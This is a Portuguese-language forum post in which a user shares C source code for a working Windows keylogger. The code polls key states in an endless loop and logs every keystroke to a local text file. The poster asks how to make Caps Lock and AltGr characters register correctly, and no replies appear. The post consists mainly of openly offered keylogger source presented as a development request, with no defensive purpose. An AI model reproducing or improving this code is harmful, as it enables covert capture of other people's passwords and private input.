Ir para conteúdo
Fórum Script Brasil
  • 0

Keylogger em C


Azazel

Pergunta

Neste código não funciona capslock e teclas especias que usam o Alt gr. Já tentei resolver de algumas maneiras, mas não consegui resolver. Minha duvida é quando o utilizador clicar no CAPSLOCK as teclas fiquem maiúsculas. Agradeço desde já

 

/*Bugs: 1-Fica com um espaço a mais quando usa o Shift -> Resolvido
2-quando insere uma letra minuscula fica maiúscula automaticamente no arquivo  -> Resolvido
3-resolver para descobrir números -> Resolvido
4-Resolver para teclas que usam o alt gr
5-Resolver para funcionar com o CAPS LOCK, Teste: printf("%d", result_caps); -> Desistindo*/
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <locale.h>
void main()
{
    int result = 0, result_shift = 0, result_caps = 0;
    int teclas, click_caps = 0;
    int cont = 1;
    FILE *arquivo;
    
    setlocale(LC_ALL, "Portuguese");
    arquivo = fopen("ArquivoKey_4.txt", "w");
    
    do
    {
        for(teclas = 20; teclas <= 122; teclas++){
            
            result = GetAsyncKeyState(teclas);
            result_shift = GetAsyncKeyState(VK_LSHIFT);//Pra saber se a tecla shift está ativa
            result_caps = GetAsyncKeyState(VK_CAPITAL);
                    
            if((result_shift == 0)&&(result_caps == 0)&&(result == -32767)){
                    
                if((teclas >= 65)&&(teclas <= 90)||(teclas >= 97)&&(teclas <= 122))
                  fprintf(arquivo, "%c", teclas+32);//teclas minusculas
                else
                    fprintf(arquivo, "%c", teclas);    
            }
                            
            if((result_shift != 0)&&(result_caps == 0)&&(result == -32767)) 
                fprintf(arquivo, "%c", teclas);//teclas maisculas
            
            if((result_shift == 0)&&(result_caps != 0)&&(result == -32767)) 
                fprintf(arquivo, "%c", teclas);//teclas maiusculas            
        }    
    }while(cont != 0);

    getchar();
    getchar();
}

/*Resultado que sai do GetAsyncKeyState
-> -32766, Shift
-> -32767, Letras
-> -32768, CAPSLOCK*/

Editado por Azazel
Link para o comentário
Compartilhar em outros sites

0 respostass a esta questão

Posts Recomendados

Até agora não há respostas para essa pergunta

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,1k
    • Posts
      651,8k
×
×
  • Criar Novo...